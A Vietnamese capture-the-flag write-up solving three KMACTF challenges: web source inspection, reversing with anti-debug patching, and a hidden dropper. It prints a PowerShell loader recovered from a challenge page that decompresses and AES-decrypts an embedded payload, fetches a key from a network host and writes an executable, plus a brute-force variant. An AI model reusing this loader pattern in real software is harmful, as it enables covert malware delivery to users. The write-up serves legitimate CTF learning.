---
# System prepended metadata

title: Wu vu vow

---

# Wu vu vơ

## pickleball

f12 đọc src ta sẽ thấy flag ở cái phần sau

`robots.txt`
![image](https://hackmd.io/_uploads/BJ-twnOjA.png)

`index-f7659d98.js`
![image](https://hackmd.io/_uploads/rk_cvndj0.png)

`index-e2ac387f.css`
![image](https://hackmd.io/_uploads/HJpovhOjA.png)

> KMACTF{p1Ckleb4ll_WitH-uU_piCklepal_5a6b89113abb}

## simple math

Ở đầu chương trình có 1 đoạn code xử lý như này, chương trình kiểm tra kí tự đầu tiên của chuỗi mà ta nhập vào
xem có phải kí tự `E` không rồi xử lý gì đó, nhưng cuối cùng chỉ là chủ ý làm nhiễu ta của author

![image](https://hackmd.io/_uploads/rktUu3dsR.png)

`Nhập chuỗi đầu vào có kí tự E ở đầu`

![image](https://hackmd.io/_uploads/H10COhOjC.png)

String trả về của chương trình, khi mình là thì string ở đây là `ban_da_bi_lua!!!!`

![image](https://hackmd.io/_uploads/Sy_HK2di0.png)

Tiếp theo chương trình được kiểm tra giá trị đầu tiên của biến `v19` mà `v19` là kết quả trả về của hàm `sub_7FF661C12040`

![image](https://hackmd.io/_uploads/HJMYtn_jC.png)

`sub_7FF661C12040`
![image](https://hackmd.io/_uploads/HJh1cn_oA.png)

Ở đây có 1 đoạn anti-debug, thay đổi giá trị trả về của `v19` nếu như ta thực hiện debug, patch bỏ đoạn đó là được 

![image](https://hackmd.io/_uploads/Bk_Vq3_jA.png)

Bên dưới là hàm xử lý đúng để check flag, chương trình sẽ thực hiện hash `4` kí tự 1 của input ta nhập vào và so sánh với chuỗi hash đúng 

`hash của chương trình`
![image](https://hackmd.io/_uploads/ByW7inus0.png)

Làn lần lượt như vậy là ta có flag

> KMACTF{SUperidol笑容都沒你的甜八月正午的陽光都沒你耀眼熱愛105度的你滴滴清純的蒸餾水}

![image](https://hackmd.io/_uploads/H1-6j3_o0.png)

## ℵ

Author cung cấp cho ta 2 file html, xem nó có gì 

![image](https://hackmd.io/_uploads/BJ8T32uiA.png)

Khi thực hiện thao tác `Download` ra đưuọc redirect sang 1 trang khác trong khoảng vài giây rồi lại chuyển hướng đến trang này 

`redirect lần 1`

![image](https://hackmd.io/_uploads/rJ9Gan_s0.png)

`redirect lần 2`

![image](https://hackmd.io/_uploads/BJNNan_jA.png)

`Ctrl + U` file `index.html`

![image](https://hackmd.io/_uploads/SJMJRn_jR.png)

không thấy gì đặc biệt

`Ctrl + U` file `director.html`

![image](https://hackmd.io/_uploads/BJLdRh_sA.png)

Có  thấy 2 giá trị được ẩn đi dưới dạng `base64` khá là sú 

![image](https://hackmd.io/_uploads/r1hFC3Oj0.png)

```
$cne = "DZe1gYZQEAYLIsAtxN1NMvhxd6v+rgIeK7PzVRxD/hjKQTFRcNUJLYPLXrNkmDw05gs/c2PE4sgWrIZbdaF6atvcGtbqBc3NcXGlaVhCpAmv66XfLBPvgtaAF1vGj0K1DtElW267JPWZBomFAXCTXPF83kyaNlAGWQ0nvqUJvlEaDJ+NaoubmaNEBv4IuI4zTbViDhRKhPBf/JxNmhMGFSQlhrYeP+k4qD8YXpTVW6gOEJnJ4P8PIBs4Hx7Zvpet149mBnvRiR+Hw1yxruW6BlCc/tCmXrFiGlyD58U5x6Tg2jllgMvI1mIhui9KklPRAQi8JxxQGcSdqnxv5dnPpCUO3gfoyYaIZeW995bey/f5zDjF1lgZ8djfTNWxjTiBi80Co8f+JWJE67VG7P0YxHgQ6CIcMRXB7NvcNPhY4tM2Hb1BzhzI5dZ2VyLFFusiKwmMXNirbNbHcQVli/COR+T/ix0nVLvDEVrq06EmRg6hmFrh0i9zXVaEOpbKP9TSky9mKmucnogIdoEzFrcmALvzBhoh6BZrOaDVVOET+v7juGFZ5ebwfvf6qMSMwc9oIhqQL+mDMZp8a8HYaGakcdA90bYuBbVvQb+AimKAhSml0TBaLRCIKKnzpFvEKbhTm/VkHLDKQpnqPYdyrgT+S9SbRUjEBt4bpozVpkDN1VKqT3dusSY5j6mybB6iWYFOUhRVvmZ9qr1LoiB5Vlk1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3i0CoXO1Fy86v6IabZ0wGthUjUH9Rdkt6zuVXIvTr7pGuVBODNJ7L8+LzrG8JDa/Ht9A98bR35jvcfodChWnRWrRZL5zzwjqTOgRUATall4CNhI43o1cm1b+skarPzI8AcNGu+tOz6xmOD/Bzei3CZNrIX/o7KgA0cCNshfkI5ls/2TkZtyHzj2adCTI9sHxs3cU+xfQ0IWvj8srfaIRH2d7bMTqsvafpJZ1NjUZV0c+R+fUiHY+18ika8Kp6VM0VlpTmGsvxQUyW8OIWPcEcCb9R/22L4JLu+/UC5YZVPAZ7keztvtNYb/mzc5cDh3wf+sAGUfEk9Gkk/U+bI1njURuW+LtgpzImWttZMx+897VlnNnx/4KqQrS0tANDhKXVS1pcVAT3cWTIYK9Iyy5e7G2oVQOHIsnLPNPqnr4jq7C4vPhoIsTLcX28Nepv/iuYc5ccxnzpjYY1QH0xp4NkVSvElttw58V969lI/af2jtz5dOCh9D3oWBWQqYTm6CyiF5riN7k3VF/kvfSbiY8MpIPrrf2hh5UcvEHeY1UU7ruD+Da+ZLLRXjHR3eHBjHeeuD0OiI8OUCWwglfNFldFE0l5N1M/PY2EqGt8QWl0f1RJ8SuaOOBdZf5QEKQVMwTmP3Wp1QiP7fOEEc8DeuskCb/0FhF6piAYT+7hBzLlLOfPvZiKObXMzJJUAFNbmx/8ulclQZLePzWsex4wiheDA7pAJwQcGolev9pfeAJz5c+b5Ai5vyWrBAdslSfNQUK2m8jUjmw3KpfdcSynUjf931OUapYQsvi21UlgOiGXTee5K68OwYYRhL+maGbg5uCU779h/fJyJ2NIH7vtVqDB4XppVjcm/D6EbXRQzYk5ZcUak0IQvn2QQJXuEP"
$cne2_get_bytes = ([System.Convert]::FromBase64String($cne))
$MemoryStream = New-Object "System.IO.MemoryStream"
$MemoryStream.Write($cne2_get_bytes, 0, $cne2_get_bytes.Length)
$MemoryStream.Seek(0,0) | Out-Null
$DeflateStream = New-Object System.IO.Compression.DeflateStream($MemoryStream, [System.IO.Compression.CompressionMode]::Decompress)
$StreamReader = New-Object System.IO.StreamReader($DeflateStream)
$enc = ''
while ($line = $StreamReader.Readline()){
    $enc += $line
}
$enc2 = [System.Convert]::FromBase64String($enc)
$AES = New-Object "System.Security.Cryptography.AesManaged"
$AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
$AES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$AES.BlockSize = 128

$xb = Invoke-WebRequest -Uri 'http://192.168.1.69/key'
$xxb = [Convert]::ToByte($xb.Content)
$AES.KeySize = 254 + $xxb.Count

$b = [byte[]] -split ("bce7b9e8b581b1a2ada7aaaba7afcdb3cbb4c8b9de80da85d586d28a9e919b92" -replace '..', '0x$& ')
$nB = @()
for ($i = 0; $i -lt $b.Count; $i++) {
        $nB += $b[$i] -bxor $xxb[$i % $xxb.Length];
} 
$AES.IV = [byte[]] -split ("3f4528482b4d6251655368566d597133" -replace '..', '0x$& ')
$AES.Key = $nB
$Decryptor = $AES.CreateDecryptor()
$result = $Decryptor.TransformFinalBlock($enc2, 0, $enc2.Length)
$Decryptor.Dispose()
Set-Content Lolita.exe -Value $result -Encoding byte
$DeflateStream.Flush()
$DeflateStream.Close()
```

Chương trình này thực hiện giải mã đống `base64` bên trên bằng thuật toán `AES mode CBC`. Nhưng có 1 vấn đề ở đây là ta chưa biết được key sau khi xor là gì. Để ý ở đoạn này, ta có thể kết luận được rằng đọ dài của chuỗi mà xor với key là 2 byte (254 + **2** = 256)

![image](https://hackmd.io/_uploads/HJ0ZgpdiR.png)

Script brute-force key
```
$cne = "DZe1gYZQEAYLIsAtxN1NMvhxd6v+rgIeK7PzVRxD/hjKQTFRcNUJLYPLXrNkmDw05gs/c2PE4sgWrIZbdaF6atvcGtbqBc3NcXGlaVhCpAmv66XfLBPvgtaAF1vGj0K1DtElW267JPWZBomFAXCTXPF83kyaNlAGWQ0nvqUJvlEaDJ+NaoubmaNEBv4IuI4zTbViDhRKhPBf/JxNmhMGFSQlhrYeP+k4qD8YXpTVW6gOEJnJ4P8PIB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ldFE0l5N1M/PY2EqGt8QWl0f1RJ8SuaOOBdZf5QEKQVMwTmP3Wp1QiP7fOEEc8DeuskCb/0FhF6piAYT+7hBzLlLOfPvZiKObXMzJJUAFNbmx/8ulclQZLePzWsex4wiheDA7pAJwQcGolev9pfeAJz5c+b5Ai5vyWrBAdslSfNQUK2m8jUjmw3KpfdcSynUjf931OUapYQsvi21UlgOiGXTee5K68OwYYRhL+maGbg5uCU779h/fJyJ2NIH7vtVqDB4XppVjcm/D6EbXRQzYk5ZcUak0IQvn2QQJXuEP"
$cne2_get_bytes = ([System.Convert]::FromBase64String($cne))
$MemoryStream = New-Object "System.IO.MemoryStream"
$MemoryStream.Write($cne2_get_bytes, 0, $cne2_get_bytes.Length)
$MemoryStream.Seek(0,0) | Out-Null
$DeflateStream = New-Object System.IO.Compression.DeflateStream($MemoryStream, [System.IO.Compression.CompressionMode]::Decompress)
$StreamReader = New-Object System.IO.StreamReader($DeflateStream)
$enc = ''
while ($line = $StreamReader.Readline()){
    $enc += $line
}
$enc2 = [System.Convert]::FromBase64String($enc)
$AES = New-Object "System.Security.Cryptography.AesManaged"
$AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
$AES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$AES.BlockSize = 128

# Brute force 2-byte key
for ($k1 = 0; $k1 -le 255; $k1++) {
    for ($k2 = 0; $k2 -le 255; $k2++) {
        $xxb = [byte[]]@($k1, $k2)
        $AES.KeySize = 254 + $xxb.Count
        
        $b = [byte[]] -split ("bce7b9e8b581b1a2ada7aaaba7afcdb3cbb4c8b9de80da85d586d28a9e919b92" -replace '..', '0x$& ')
        $nB = @()
        for ($i = 0; $i -lt $b.Count; $i++) {
            $nB += $b[$i] -bxor $xxb[$i % $xxb.Length];
        }
        
        $AES.IV = [byte[]] -split ("3f4528482b4d6251655368566d597133" -replace '..', '0x$& ')
        $AES.Key = $nB
        $Decryptor = $AES.CreateDecryptor()
        
        try {
            $result = $Decryptor.TransformFinalBlock($enc2, 0, $enc2.Length)
            $Decryptor.Dispose()
            
            # Check if the header matches "50450000"
            if ($result.Length -ge 2 -and $result[0] -eq 0x4D -and $result[1] -eq 0x5A) {
                Set-Content Lolita.exe -Value $result -Encoding byte
                Write-Output "Successful key: $($xxb[0]), $($xxb[1])"
                Write-Output "File written to Lolita.exe"
                break 2
            }
        } catch {
            $Decryptor.Dispose()
        }
    }
}

$DeflateStream.Flush()
$DeflateStream.Close()
```

Sau khi decrypt thành công ta được file như sau 

![image](https://hackmd.io/_uploads/ryptxTOoR.png)

Set cho eip nhảy vào graph bên trái là chương trình sẽ decrypt cho ta flag

![image](https://hackmd.io/_uploads/B19y-puiR.png)

> KMACTF{benj_thich_loli_va_goi_om}


